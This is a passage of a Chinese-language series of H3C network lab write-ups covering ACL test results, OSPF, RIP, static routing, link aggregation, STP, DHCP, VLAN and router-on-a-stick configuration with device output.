[PC2]ping 192.168.2.3
16
Ping 192.168.2.3 (192.168.2.3): 56 data bytes, press CTRL+C to break
17
Request time out
18
Request time out
19
Request time out
20
Request time out
21
Request time out
22

23
--- Ping statistics for 192.168.2.3 ---
24
5 packet(s) transmitted, 0 packet(s) received, 100.0% packet loss
25
%Sep  2 11:08:45:747 2026 PC2 PING/6/PING_STATISTICS: Ping statistics for 192.168.2.3: 5 packet(s) transmitted, 0 packet(s) received, 100.0% packet loss.

展开收起

步骤 2：PC1 可以连接 SERVER1 的 TELNET，但不能连接 FTP#

1
telnet 192.168.3.1
2
Trying 192.168.3.1 ...
3
Press CTRL+K to abort
4
Connected to 192.168.3.1 ...
5

6
******************************************************************************
7
* Copyright (c) 2004-2021 New H3C Technologies Co., Ltd. All rights reserved.*
8
* Without the owner's prior written consent,                                 *
9
* no decompiling or reverse-engineering shall be allowed.                    *
10
******************************************************************************
11

12
Login failed.
13

14
The connection was closed by the remote host!
15
ftp 192.168.3.1
16
Press CTRL+C to abort.
17

18

展开收起

步骤 3：PC2 可以连接 SERVER1 的 FTP，但不能连接 TELNET#

1
telnet 192.168.3.1
2
Trying 192.168.3.1 ...
3
Press CTRL+K to abort
4
Connected to 192.168.3.1 ...
5
Failed to connect to the remote host!
6

7
ftp 192.168.3.1
8
Press CTRL+C to abort.
9
Connected to 192.168.3.1 (192.168.3.1).
10
220 FTP service ready.
11
User (192.168.3.1:(none)):
12
530 This is a private system - No anonymous login
13
ftp: Login failed.
14
Remote system type is UNIX.
15
Using binary mode to transfer files.
16
ftp> quit
17
221-Goodbye. You uploaded 0 and downloaded 0 kbytes.
18
221 Logout.
19

展开收起

步骤 4：PC3 不能 Ping 通 SERVER1#

1
ping 192.168.3.1
2
Ping 192.168.3.1 (192.168.3.1): 56 data bytes, press CTRL_C to break
3
Request time out
4
Request time out
5
Request time out
6
Request time out
7
Request time out
8

9
--- Ping statistics for 192.168.3.1 ---
10
5 packet(s) transmitted, 0 packet(s) received, 100.0% packet loss
11
%Sep  2 11:12:10:943 2026 H3C PING/6/PING_STATISTICS: Ping statistics for 192.168.3.1: 5 packet(s) transmitted, 0 packet(s) received, 100.0% packet loss.

OSPF 实验

2026-08-28T01:01:00.000Z

实验拓扑#

实验需求#

按照图示配置 IP 地址
按照图示分区域配置 OSPF ，实现全网互通
为了路由结构稳定，要求路由器使用环回口作为 Router-id，ABR 的环回口宣告进骨干区域

配置步骤#

1.配置 IP 地址#

1
路由器1的配置如下：
2
interface loopback 0
3
ip add 1.1.1.1 32
4
int g0/0
5
ip add 100.1.1.1 24
6
int g0/1
7
ip add 100.3.3.1 24
8

9
路由器2的配置如下：
10
interface loopback 0
11
ip add 2.2.2.2 32
12
int g0/0
13
ip add 100.1.1.2 24
14
int g0/1
15
ip add 100.2.2.2 24
16

17
路由器3的配置如下：
18
interface loopback 0
19
ip add 3.3.3.3 32
20
int g0/0
21
ip add 100.2.2.3 24
22
int g0/1
23
ip add 100.4.4.3 24
24

25
路由器4的配置如下：
26
interface loopback 0
27
ip add 4.4.4.4 32
28
int g0/0
29
ip add 100.3.3.4 24
30

31
路由器5的配置如下：
32
interface loopback 0
33
ip add 5.5.5.5 32
34
int g0/0
35
ip add 100.4.4.5 24

展开收起

2.按照图示分区域配置 OSPF ，实现全网互通#

分析： 实现全网互通，意味着每台路由器都要宣告本地的所有直连网段，包括环回口所在的网段。要求 ABR 的环回口宣告进骨干区域，即区域 0，同时，每台路由器手动配置各自环回口的 IP 地址作为 Router-id。

在路由器上分别配置 OSPF，按区域宣告所有直连网段和环回口

1
路由器1的配置如下：
2
ospf 1 router-id 1.1.1.1
3
area 0
4
network 1.1.1.1 0.0.0.0
5
network 100.1.1.0 0.0.0.255
6
area 1
7
network 100.3.3.0 0.0.0.255
8

9
路由器2的配置如下：
10
ospf 1 router-id 2.2.2.2
11
area 0
12
network 2.2.2.2 0.0.0.0
13
network 100.1.1.0 0.0.0.255
14
network 100.2.2.0 0.0.0.255
15

16
路由器3的配置如下：
17
ospf 1 router-id 3.3.3.3
18
area 0
19
network 3.3.3.3 0.0.0.0
20
network 100.2.2.0 0.0.0.255
21
area 2
22
network 100.4.4.0 0.0.0.255
23

24
路由器4的配置如下：
25
ospf 1 router-id 4.4.4.4
26
area 1
27
network 4.4.4.4 0.0.0.0
28
network 100.3.3.0 0.0.0.255
29

30
路由器5的配置如下：
31
ospf 1 router-id 5.5.5.5
32
area 2
33
network 5.5.5.5 0.0.0.0
34
network 100.4.4.0 0.0.0.255

展开收起

3.检查是否全网互通#

分析：检查 OSPF 是否全网互通，一个是检查邻居关系表，看邻居关系是否正常；另一个是检查路由表，看是否学习到全网路由。

下面只展示 R1 的检查结果。

步骤 1：检查 R1 的邻居关系表

1
[AR1]dis ospf peer
2

3
         OSPF Process 1 with Router ID 1.1.1.1
4
               Neighbor Brief Information
5

6
 Area: 0.0.0.0
7
 Router ID       Address         Pri Dead-Time  State             Interface
8
 2.2.2.2         100.1.1.2       1   34         Full/DR           GE0/0
9

10
 Area: 0.0.0.1
11
 Router ID       Address         Pri Dead-Time  State             Interface
12
 4.4.4.4         100.3.3.4       1   38         Full/DR           GE0/1

说明：可以看到，R1 分别和 R2 和 R4 建立了邻接关系，状态为 FULL，邻居关系正常。

步骤 2：检查 R1 的路由表

1
[AR1]display ip routing-table
2

3
Destinations : 20       Routes : 20
4

5
Destination/Mask   Proto   Pre Cost        NextHop         Interface
6
0.0.0.0/32         Direct  0   0           127.0.0.1       InLoop0
7
1.1.1.1/32         Direct  0   0           127.0.0.1       InLoop0
8
2.2.2.2/32         O_INTRA 10  1           100.1.1.2       GE0/0
9
3.3.3.3/32         O_INTRA 10  2           100.1.1.2       GE0/0
10
4.4.4.4/32         O_INTRA 10  1           100.3.3.4       GE0/1
11
5.5.5.5/32         O_INTER 10  3           100.1.1.2       GE0/0
12
100.1.1.0/24       Direct  0   0           100.1.1.1       GE0/0
13
100.1.1.1/32       Direct  0   0           127.0.0.1       InLoop0
14
100.1.1.255/32     Direct  0   0           100.1.1.1       GE0/0
15
100.2.2.0/24       O_INTRA 10  2           100.1.1.2       GE0/0
16
100.3.3.0/24       Direct  0   0           100.3.3.1       GE0/1
17
100.3.3.1/32       Direct  0   0           127.0.0.1       InLoop0
18
100.3.3.255/32     Direct  0   0           100.3.3.1       GE0/1
19
100.4.4.0/24       O_INTER 10  3           100.1.1.2       GE0/0
20
127.0.0.0/8        Direct  0   0           127.0.0.1       InLoop0
21
127.0.0.1/32       Direct  0   0           127.0.0.1       InLoop0
22
127.255.255.255/32 Direct  0   0           127.0.0.1       InLoop0
23
224.0.0.0/4        Direct  0   0           0.0.0.0         NULL0
24
224.0.0.0/24       Direct  0   0           0.0.0.0         NULL0
25
255.255.255.255/32 Direct  0   0           127.0.0.1       InLoop0

展开收起

说明：可以看到，R1 已经学习到了全网所有网段的路由信息

RIP实验

2026-08-28T01:00:00.000Z

实验拓扑#

实验需求#

按照图示配置 IP 地址
配置 RIP 实现全网路由互通
要求全网路由器不能出现明细路由（直连网段除外），不影响网络正常访问
业务网段不允许出现协议报文
R1 和 R2 之间需要开启接口身份验证来保证协议安全性，密钥为 runtime

配置步骤#

1.配置 IP 地址#

1
路由器1的配置如下：
2
int g0/0
3
ip add 192.168.1.1 24
4
int g0/1
5
ip add 172.16.0.1 24
6
int g0/2
7
ip add 172.16.1.1 24
8

9
路由器2的配置如下：
10
int g0/0
11
ip add 192.168.1.2 24
12
int g0/1
13
ip add 192.168.2.2 24
14

15
路由器3的配置如下：
16
int g0/0
17
ip add 192.168.2.3 24
18
int g0/1
19
ip add 172.16.2.3 24
20
int g0/2
21
ip add 172.16.3.3 24

展开收起

2.配置 RIP 实现全网路由互通#

1
路由器1的配置如下：
2
rip 1
3
version 2
4
undo summary
5
network 172.16.0.0
6
network 192.168.1.0
7

8
路由器2的配置如下：
9
rip 1
10
version 2
11
undo summary
12
network 192.168.1.0
13
network 192.168.2.0
14

15
路由器3的配置如下：
16
rip 1
17
version 2
18
undo summary
19
network 172.16.0.0
20
network 192.168.2.0

展开收起

3.要求全网路由器不能出现明细路由（直连网段除外），不影响网络正常访问#

步骤 1：在 AR1 的 g0/0 接口配置手动路由聚合

1
int g0/0
2
rip summary-address 172.16.0.0 23

步骤 2：在 AR3 的 g0/0 接口配置手动路由聚合

1
int g0/0
2
rip summary-address 172.16.2.0 23

步骤 3：在 R2 上查看路由表，发现学习到的是 R1 和 R3 发布的聚合路由

注意：基于 RIP 的工作原理，旧的明细路由需要一定时间延迟才会从路由表中彻底删除

1
[AR2]display ip routing-table
2

3
Destinations : 15       Routes : 15
4

5
Destination/Mask   Proto   Pre Cost        NextHop         Interface
6
0.0.0.0/32         Direct  0   0           127.0.0.1       InLoop0
7
127.0.0.0/8        Direct  0   0           127.0.0.1       InLoop0
8
127.0.0.1/32       Direct  0   0           127.0.0.1       InLoop0
9
127.255.255.255/32 Direct  0   0           127.0.0.1       InLoop0
10
172.16.0.0/23      RIP     100 1           192.168.1.1     GE0/0
11
172.16.2.0/23      RIP     100 1           192.168.2.3     GE0/1
12
192.168.1.0/24     Direct  0   0           192.168.1.2     GE0/0
13
192.168.1.2/32     Direct  0   0           127.0.0.1       InLoop0
14
192.168.1.255/32   Direct  0   0           192.168.1.2     GE0/0
15
192.168.2.0/24     Direct  0   0           192.168.2.2     GE0/1
16
192.168.2.2/32     Direct  0   0           127.0.0.1       InLoop0
17
192.168.2.255/32   Direct  0   0           192.168.2.2     GE0/1
18
224.0.0.0/4        Direct  0   0           0.0.0.0         NULL0
19
224.0.0.0/24       Direct  0   0           0.0.0.0         NULL0
20
255.255.255.255/32 Direct  0   0           127.0.0.1       InLoop0

展开收起

4.业务网段不允许出现协议报文#

分析： 基于 network 命令的两层含义，R1 和 R3 对直连的业务网段进行宣告后，会往该网段发送 RIP 的协议报文。这些协议报文是完全没有意义的，还会消耗网络带宽，所以需要配置静默接口　　步骤 1：把 AR1 连接业务网段的 g0/1 和 g0/2 接口配置为静默接口

1
rip 1
2
silent-interface g0/1
3
silent-interface g0/2

步骤 2：把 AR3 连接业务网段的 g0/1 和 g0/2 接口配置为静默接口

1
rip 1
2
silent-interface g0/1
3
silent-interface g0/2

5.R1 和 R2 之间需要开启接口身份验证来保证协议安全性，密钥为 runtime#

步骤 1：在 AR1 的 g0/0 接口配置接口验证，密钥 runtime

1
int g0/0
2
rip authentication-mode simple plain runtime

步骤 2：在 AR2 的 g0/0 接口配置接口验证，密钥必须和 R1 一致

1
int g0/0
2
rip authentication-mode simple plain runtime

说明：通过重置 RIP 进程观察是否能够学习到路由来判断接口验证是否通过

静态路由实验

2026-08-27T04:00:00.000Z

实验拓扑#

实验需求#

按照图示配置 IP 地址
按照如下路径规划配置静态路由，实现连接 PC 的业务网段互通
1. 192.168.1.0/24 网段到达 192.168.2.0/24 网段经过 R1，R2，R3
2. 192.168.2.0/24 网段到达 192.168.1.0/24 网段经过 R3，R4，R1
3. 192.168.1.0/24 网段到达 192.168.3.0/24 网段经过 R1，R4，R5
4. 192.168.2.0/24 网段到达 192.168.3.0/24 网段经过 R3，R4，R5
5. 192.168.3.0/24 网段到达 192.168.1.0/24 网段和 192.168.2.0/24 网段的路由来回一致
6. R5 上不允许出现到达其他业务网段的明细路由
7. 所有经过 R4 和 R5 的流量通过等价路由实现负载分担

配置步骤#

1.配置 IP 地址#

1
路由器1的配置如下：
2
int g0/0
3
ip add 10.2.2.1 24
4
int g0/1
5
ip add 10.1.1.1 24
6
int g0/2
7
ip add 192.168.1.1 24
8

9
路由器2的配置如下：
10
int g0/0
11
ip add 10.2.2.2 24
12
int g0/1
13
ip add 10.3.3.2 24
14

15
路由器3的配置如下：
16
int g0/0
17
ip add 10.3.3.3 24
18
int g0/1
19
ip add 10.4.4.3 24
20
int g0/2
21
ip add 192.168.2.3 24
22

23
路由器4的配置如下：
24
int g0/0
25
ip add 10.1.1.4 24
26
int g0/1
27
ip add 10.4.4.4 24
28
int g0/2
29
ip add 10.6.6.4 24
30
int g5/0
31
ip add 10.5.5.4 24
32

33
路由器5的配置如下：
34
int g0/0
35
ip add 10.6.6.5 24
36
int g0/1
37
ip add 10.5.5.5 24
38
int g0/2
39
ip add 192.168.3.5 24

展开收起

2.按照需求配置静态路由，实现连接 PC 的业务网段互通#

步骤 1：配置 192.168.1.0/24 网段到 192.168.2.0 网段的静态路由

1
[R1]ip route-static 192.168.2.0 24 10.2.2.2
2
[R2]ip route-static 192.168.2.0 24 10.3.3.3

步骤 2：配置 192.168.2.0/24 网段到 192.168.1.0 网段的静态路由

1
[R3]ip route-static 192.168.1.0 24 10.4.4.4
2
[R4]ip route-static 192.168.1.0 24 10.1.1.1

步骤 3：配置 192.168.1.0/24 网段到 192.168.3.0 网段的静态路由

1
[R1]ip route-static 192.168.3.0 24 10.1.1.4
2
[R4]ip route-static 192.168.3.0 24 10.5.5.5
3
[R4]ip route-static 192.168.3.0 24 10.6.6.5

步骤 4：配置 192.168.2.0/24 网段到 192.168.3.0 网段的静态路由

1
[R3]ip route-static 192.168.3.0 24 10.4.4.4

步骤 5：配置 192.168.3.0/24 网段到 192.168.1.0 网段的静态路由

1
[R5]ip route-static 0.0.0.0 0 10.5.5.4
2
[R5]ip route-static 0.0.0.0 0 10.6.6.4

步骤 6：配置 192.168.3.0/24 网段到 192.168.2.0 网段的静态路由

1
[R4]ip route-static 192.168.2.0 24 10.4.4.3

结果验证#

让三台PC互ping，发现都能ping通。

交换部分综合实验

2026-08-27T01:00:00.000Z

实验拓扑#

实验需求#

全网VLAN划分：VLAN 10、VLAN 20
交换机间链路聚合，提高冗余和带宽
启用STP，边缘端口加速终端接入
路由器AR1做单臂路由 + DHCP服务器，为VLAN 10/20分配地址
路由器AR2做单臂路由，作为VLAN 10/20的网关
实现所有终端互通（包括跨VLAN通信）

配置步骤#

1.配置链路聚合#

1
交换机3的配置：
2
interface Bridge-Aggregation 1
3
interface g1/0/1
4
port link-aggregation group 1
5
interface g1/0/2
6
port link-aggregation group 1
7
quit
8
interface Bridge-Aggregation 1
9
port link-type trunk
10
port trunk permit vlan all
11
quit
12

13
交换机2的配置：
14
interface Bridge-Aggregation 1
15
interface g1/0/1
16
port link-aggregation group 1
17
interface g1/0/2
18
port link-aggregation group 1
19
quit
20
interface Bridge-Aggregation 1
21
port link-type trunk
22
port trunk permit vlan all
23
quit

展开收起

2.配置VLAN#

1
交换机1的配置：
2
vlan 10
3
vlan 20
4
quit
5
int range g1/0/1 to g1/0/4
6
port link-type trunk
7
port trunk permit vlan 10 20
8
quit
9

10
交换机2的配置：
11
vlan 10
12
port g1/0/4
13
vlan 20
14
quit
15
int g1/0/3
16
port link-type trunk
17
port trunk permit vlan 10 20
18
quit
19

20
交换机3的配置：
21
vlan 20
22
port g1/0/4
23
vlan 10
24
quit
25
int g1/0/3
26
port link-type trunk
27
port trunk permit vlan 10 20
28
quit

展开收起

3.STP配置#

1
交换机2的配置：
2
int g1/0/4
3
stp edged-port
4

5
交换机3的配置：
6
int g1/0/4
7
stp edged-port

4.配置AR1的DHCP和单臂路由#

1
路由器1的配置如下：
2
interface g0/0.1
3
vlan-type dot1q vid 10
4
ip address 192.168.1.100 24
5
quit
6
interface g0/0.2
7
vlan-type dot1q vid 20
8
ip address 192.168.2.100 24
9
quit
10

11
dhcp enable
12
dhcp server forbidden-ip 192.168.1.254
13
dhcp server forbidden-ip 192.168.2.254
14
dhcp server forbidden-ip 192.168.1.100
15
dhcp server forbidden-ip 192.168.2.100
16
dhcp server ip-pool 1
17
network 192.168.1.0 mask 255.255.255.0
18
gateway-list 192.168.1.254
19
quit
20
dhcp server ip-pool 2
21
network 192.168.2.0 mask 255.255.255.0
22
gateway-list 192.168.2.254
23
quit

展开收起

5.配置AR2的单臂路由#

1
路由器2的配置如下：
2
interface g0/0.1
3
vlan-type dot1q vid 10
4
ip address 192.168.1.254 24
5
quit
6
interface g0/0.2
7
vlan-type dot1q vid 20
8
ip address 192.168.2.254 24
9
quit

6.结果验证#

链路聚合状态验证： 使用display link-aggregation verbose命令查看交换机2和3的链路聚合情况

1
[SW2]display link-aggregation verbose
2
Loadsharing Type: Shar -- Loadsharing, NonS -- Non-Loadsharing
3
Port: A -- Auto
4
Port Status: S -- Selected, U -- Unselected, I -- Individual
5
Flags:  A -- LACP_Activity, B -- LACP_Timeout, C -- Aggregation,
6
        D -- Synchronization, E -- Collecting, F -- Distributing,
7
        G -- Defaulted, H -- Expired
8

9
Aggregate Interface: Bridge-Aggregation1
10
Aggregation Mode: Static
11
Loadsharing Type: Shar
12
  Port             Status  Priority Oper-Key
13
--------------------------------------------------------------------------------
14
  GE1/0/1          S       32768    1
15
  GE1/0/2          S       32768    1
16

17

18

19
[SW3]dis link-aggregation verbose
20
Loadsharing Type: Shar -- Loadsharing, NonS -- Non-Loadsharing
21
Port: A -- Auto
22
Port Status: S -- Selected, U -- Unselected, I -- Individual
23
Flags:  A -- LACP_Activity, B -- LACP_Timeout, C -- Aggregation,
24
        D -- Synchronization, E -- Collecting, F -- Distributing,
25
        G -- Defaulted, H -- Expired
26

27
Aggregate Interface: Bridge-Aggregation1
28
Aggregation Mode: Static
29
Loadsharing Type: Shar
30
  Port             Status  Priority Oper-Key
31
--------------------------------------------------------------------------------
32
  GE1/0/1          S       32768    1
33
  GE1/0/2          S       32768    1
34
[SW3]

展开收起

DHCP地址分配验证： 查看PC1和PC2是否获取了IP地址

连通性验证：

让PC1 ping PC2和网关，发现能ping通：让PC2 ping PC1和网关，发现能ping通：

单臂路由实验

2026-08-26T01:01:00.000Z

实验拓扑#

实验需求#

按照图示为 PC3 和 PC4 配置 IP 地址和网关
PC3 属于 Vlan10，PC4 属于 Vlan20，配置单臂路由实现 Vlan10 和 Vlan20 三层互通
PC3 和 PC4 可以互通

配置步骤#

1.PC 配置 IP 地址部分略#

2.PC3 属于 Vlan10，PC4 属于 Vlan20，配置单臂路由实现 Vlan10 和 Vlan20 三层互通#

分析： 用单臂路由实现 Vlan 间三层互通，需要把 SW2 连接 AR1 的接口配置为 Trunk，并允许 Vlan10 和 Vlan20 通过。
AR1 连接 SW2 的接口上要开启子接口，分别作为 Vlan10 和 Vlan20 的网关。这里规划 g0/0.1 子接口作为 Vlan10 的网关，IP 地址就是192.168.1.254/24，g0/0.2 子接口作为 Vlan20 的网关，IP 地址就是192.168.2.254/24。
AR1 的子接口上为了能够识别 SW2 的 Trunk 端口发送的 802.1Q 帧，还需要开启 dot1q 识别并绑定相应 Vlan。

步骤 1： 在 SW2 上创建 Vlan10 和 Vlan20，并把 g1/0/1 接口加入 Vlan10，把 g1/0/2 接口加入 Vlan20

1
vlan 10
2
port g1/0/1
3
vlan 20
4
port g1/0/2

步骤 2： 把 SW2 的 g1/0/3 接口配置为 Trunk，并允许 Vlan10 和 Vlan20 通过

1
interface g1/0/3
2
port link-type trunk
3
port trunk permit vlan 10 20

步骤 3： 在 AR1 上创建子接口 g0/0.1，开启 dot1q 识别，绑定到 Vlan10，并配置 IP 地址 192.168.1.254/24

1
interface g0/0.1
2
vlan-type dot1q vid 10
3
ip address 192.168.1.254 24

步骤 4： 在 AR1 上创建子接口 0/0.2，开启 dot1q 识别，绑定到 Vlan20，并配置 IP 地址192.168.2.254/24

1
interface g0/0.2
2
vlan-type dot1q vid 20
3
ip address 192.168.2.254 24

分析： 配置结束后，在 AR1 上查看路由表，会发现已经产生了到达192.168.1.0/24网段和192.168.2.0/24网段的直连路由，出接口分别指向各自子接口，证明路由器已经可以对 Vlan10 和 Vlan20 间的数据进行三层转发了

1
[AR1]display ip routing-table
2

3
Destinations : 13       Routes : 13
4

5
Destination/Mask   Proto   Pre Cost        NextHop         Interface
6
0.0.0.0/32         Direct  0   0           127.0.0.1       InLoop0
7
127.0.0.0/8        Direct  0   0           127.0.0.1       InLoop0
8
127.0.0.1/32       Direct  0   0           127.0.0.1       InLoop0
9
127.255.255.255/32 Direct  0   0           127.0.0.1       InLoop0
10
192.168.1.0/24     Direct  0   0           192.168.1.254   GE0/0.1
11
192.168.1.254/32   Direct  0   0           127.0.0.1       InLoop0
12
192.168.1.255/32   Direct  0   0           192.168.1.254   GE0/0.1
13
192.168.2.0/24     Direct  0   0           192.168.2.254   GE0/0.2
14
192.168.2.254/32   Direct  0   0           127.0.0.1       InLoop0
15
192.168.2.255/32   Direct  0   0           192.168.2.254   GE0/0.2
16
224.0.0.0/4        Direct  0   0           0.0.0.0         NULL0
17
224.0.0.0/24       Direct  0   0           0.0.0.0         NULL0
18
255.255.255.255/32 Direct  0   0           127.0.0.1       InLoop0

展开收起

3.测试在 PC3 上 Ping PC4 ，可以 Ping 通 PC4#

1
[H3C]ping 192.168.2.1
2
Ping 192.168.2.1 (192.168.2.1): 56 data bytes, press CTRL_C to break
3
56 bytes from 192.168.2.1: icmp_seq=0 ttl=254 time=10.313 ms
4
56 bytes from 192.168.2.1: icmp_seq=1 ttl=254 time=9.691 ms
5
56 bytes from 192.168.2.1: icmp_seq=2 ttl=254 time=8.030 ms
6
56 bytes from 192.168.2.1: icmp_seq=3 ttl=254 time=8.680 ms
7
56 bytes from 192.168.2.1: icmp_seq=4 ttl=254 time=8.871 ms
8

9
--- Ping statistics for 192.168.2.1 ---
10
5 packet(s) transmitted, 5 packet(s) received, 0.0% packet loss
11
round-trip min/avg/max/std-dev = 8.030/9.117/10.313/0.799 ms
12
[H3C]%Aug 28 16:59:51:153 2026 H3C PING/6/PING_STATISTICS: Ping statistics for 192.168.2.1: 5 packet(s) transmitted, 5 packet(s) received, 0.0% packet loss, round-trip min/avg/max/std-dev = 8.030/9.117/10.313/0.799 ms.

DHCP 实验

2026-08-26T01:00:00.000Z

实验拓扑#

实验需求#

按照图示为R1配置IP地址
配置R1为DHCP服务器，提供服务的地址池为192.168.1.0/24网段，网关为192.168.1.254，DNS服务器地址为202.103.24.68，202.103.0.117
192.168.1.10-192.168.1.20为专用地址段，要求不能用于自动分配
PC1和PC2都能获取到192.168.1.0/24网段的IP地址

配置步骤#

1. 开启 DHCP 服务#

在系统视图下开启 DHCP 功能：

1
interface GigabitEthernet0/0
2
ip address 192.168.1.254 255.255.255.0
3
quit
4
dhcp enable
5

6
#排除特定地址:为了防止某些 IP 被动态分配给普通客户端（比如保留给服务器），需要排除一段地址
7
dhcp server forbidden-ip 192.168.1.10 192.168.1.20

2. 创建 DHCP 地址池#

创建名为 1 的地址池，并配置分配参数：

1
dhcp server ip-pool 1
2
network 192.168.1.0 mask 255.255.255.0
3
gateway-list 192.168.1.254
4
dns-list 202.103.24.68 202.103.0.117
5
quit

验证与测试#

配置完成后，将 PC1 和 PC2 的网络设置为“自动获取 IP 地址”（DHCP 方式）。可以发现 PC1 和 PC2 正确获取IP地址：

STP生成树协议实验

2026-08-25T07:00:00.000Z

实验拓扑#

实验需求#

开启所有设备，等待 STP 收敛后观察 STP 状态
使 SW4 成为根网桥
使闭塞端口出现在 SW2 上
把 SW1 上连接的 PC 的端口配置为边缘端口

配置步骤#

1. 等待 STP 收敛后，查看 STP 运行状态，找出根网桥与闭塞端口#

分析：根据 HCL 模拟器的运行机制，SW1 的 MAC 地址最小，会成为根网桥。

步骤1：在 SW1 上查看 STP 运行状态，确认 SW1 为根网桥。

1
[SW1]dis stp
2
-------[CIST Global Info][Mode MSTP]-------
3
 Bridge ID           : 32768.908d-e11e-0100
4
 Bridge times        : Hello 2s MaxAge 20s FwdDelay 15s MaxHops 20
5
 Root ID/ERPC        : 32768.908d-e11e-0100, 0
6
 RegRoot ID/IRPC     : 32768.908d-e11e-0100, 0
7
 RootPort ID         : 0.0
8
 BPDU-Protection     : Disabled
9
 Bridge Config-
10
 Digest-Snooping     : Disabled
11
 TC or TCN received  : 7
12
 Time since last TC  : 0 days 0h:6m:12s

步骤2：根据 STP 计算机制，所有链路开销一致时，闭塞端口应出现在 SW4 上。在 SW4 上查看端口状态，确认 SW4 的 g1/0/2 被阻塞。

1
[SW4]dis stp brief
2
 MST ID   Port                                Role  STP State   Protection
3
 0        GigabitEthernet1/0/1                ROOT  FORWARDING  NONE
4
 0        GigabitEthernet1/0/2                ALTE  DISCARDING  NONE

2. 使 SW4 成为新的根网桥#

分析：要使 SW4 成为根网桥，需将其优先级改为全网最小。默认优先级均为 32768，将 SW4 的优先级改为 4096 即可。

步骤1：修改 SW4 的优先级为 4096。

1
[SW4]stp priority 4096
2
[SW4]%Aug 26 16:33:54:232 2026 SW4 STP/6/STP_DETECTED_TC: Instance 0's port GigabitEthernet1/0/2 detected a topology change.

步骤2：在 SW4 上查看 STP 运行状态，确认 SW4 已成为新的根网桥。

1
[SW4]display stp
2
-------[CIST Global Info][Mode MSTP]-------
3
 Bridge ID           : 4096.908d-ea02-0400
4
 Bridge times        : Hello 2s MaxAge 20s FwdDelay 15s MaxHops 20
5
 Root ID/ERPC        : 4096.908d-ea02-0400, 0
6
 RegRoot ID/IRPC     : 4096.908d-ea02-0400, 0
7
 RootPort ID         : 0.0
8
 BPDU-Protection     : Disabled
9
 Bridge Config-
10
 Digest-Snooping     : Disabled
11
 TC or TCN received  : 6
12
 Time since last TC  : 0 days 0h:0m:32s

3. 使闭塞端口出现在 SW2 上#

分析：SW4 成为根网桥后，按照 STP 计算机制，闭塞端口此时应在 SW1 上。要使闭塞端口转移到 SW2 上，需让 SW2 到 SW1 的路径开销 大于 SW4 到 SW1 的路径开销。H3C 交换机千兆口的默认开销为 20，可将 SW2 的 g1/0/2 接口开销改为 1000。

步骤1：在 SW2 上进入 g1/0/2 接口视图，修改 STP Cost 为 1000。

1
[SW2]interface g1/0/2
2
[SW2-GigabitEthernet1/0/2]stp cost 1000
3
[SW2-GigabitEthernet1/0/2]%Aug 26 16:38:27:908 2026 SW2 STP/6/STP_NOTIFIED_TC: Instance 0's port GigabitEthernet1/0/1 was notified a topology change.

步骤2：在 SW2 上查看 STP 接口状态，确认 g1/0/2 已成为新的阻塞端口。

1
[SW2-GigabitEthernet1/0/2]display stp brief
2
 MST ID   Port                                Role  STP State   Protection
3
 0        GigabitEthernet1/0/1                ROOT  FORWARDING  NONE
4
 0        GigabitEthernet1/0/2                ALTE  DISCARDING  NONE

4. 把 SW1 连接 PC 的所有接口配置为边缘端口#

分析：连接终端的端口应配置为边缘端口，以加快收敛速度并避免不必要的拓扑变化通知。

步骤1：在 SW1 上进入连接 PC 的接口（g1/0/3 和 g1/0/4），配置为边缘端口。

1
[SW1]interface g1/0/3
2
[SW1-GigabitEthernet1/0/3]stp edged-port
3
Edge port should only be connected to terminal. It will cause temporary loops if port GigabitEthernet1/0/3 is connected to bridges. Please use it carefully.
4
[SW1-GigabitEthernet1/0/3]interface g1/0/4
5
[SW1-GigabitEthernet1/0/4]stp edged-port
6
Edge port should only be connected to terminal. It will cause temporary loops if port GigabitEthernet1/0/4 is connected to bridges. Please use it carefully.
7
[SW1-GigabitEthernet1/0/4]

链路聚合实验

2026-08-25T04:00:00.000Z

实验拓扑#

实验需求#

按照图示配置 PC3 和 PC4 的 IP 地址
在 SW1 和 SW2 的两条直连链路上配置链路聚合，实现链路冗余，并可以增加传输带宽
SW1 和 SW2 之间的直连链路要配置为 Trunk 类型，允许所有 VLAN 通过
中断 SW1 和 SW2 之间的一条直连链路，测试 PC3 和 PC4 是否仍然能够继续访问

配置步骤#

1. PC 配置 IP 地址（略）#

2. 在 SW1 和 SW2 的直连链路上配置链路聚合#

分析：SW1 和 SW2 之间通过 g1/0/1 和 g1/0/2 接口直连，需要在两台交换机上分别创建聚合接口，并把 g1/0/1 和 g1/0/2 接口加入到聚合接口，形成链路聚合。被聚合的物理接口的 VLAN 配置和接口类型要保持一致，所以在配置链路聚合前，物理端口不要做任何其他配置，保持默认状态即可。

1
交换机1的配置：
2
interface Bridge-Aggregation 1
3
interface g1/0/1
4
port link-aggregation group 1
5
interface g1/0/2
6
port link-aggregation group 1
7

8
交换机2的配置：
9
interface Bridge-Aggregation 1
10
interface g1/0/1
11
port link-aggregation group 1
12
interface g1/0/2
13
port link-aggregation group 1

查看链路聚合状态，确认已成功运行（下面以交换机1为例）：

1
[SW1-GigabitEthernet1/0/1]display link-aggregation verbose
2
Loadsharing Type: Shar -- Loadsharing, NonS -- Non-Loadsharing
3
Port: A -- Auto
4
Port Status: S -- Selected, U -- Unselected, I -- Individual
5
Flags:  A -- LACP_Activity, B -- LACP_Timeout, C -- Aggregation,
6
        D -- Synchronization, E -- Collecting, F -- Distributing,
7
        G -- Defaulted, H -- Expired
8

9
Aggregate Interface: Bridge-Aggregation1
10
Aggregation Mode: Static
11
Loadsharing Type: Shar
12
  Port             Status  Priority Oper-Key
13
--------------------------------------------------------------------------------
14
  GE1/0/1          S       32768    1
15
  GE1/0/2          S       32768    1

展开收起

3. SW1 和 SW2 之间的直连链路配置为 Trunk，允许所有 VLAN 通过#

分析：物理接口加入到聚合接口后，会自动继承聚合接口的 VLAN 相关配置，所以不需要在物理接口上分别配置 Trunk，只需要在聚合接口下配置 Trunk 即可。

1
交换机1的配置：
2
interface Bridge-Aggregation 1
3
port link-type trunk
4
port trunk permit vlan all
5

6
交换机2的配置：
7
interface Bridge-Aggregation 1
8
port link-type trunk
9
port trunk permit vlan all

4. 中断一条直连链路，测试连通性#

分析：链路聚合会自动把 SW1 和 SW2 之间的流量进行负载均衡，某一条链路中断连接后，仍然还有另外一条链路可以继续通讯，所以 PC3 和 PC4 可以继续访问。

步骤1：进入 SW1 的 g1/0/1 接口视图，使用 shutdown 命令关闭接口。

1
interface g1/0/1
2
shutdown

步骤2：测试结果，PC1 仍然可以 Ping 通 PC2。

VLAN配置实验

2026-08-25T01:00:00.000Z

实验拓扑#

实验需求#

按图示为PC配置IP地址
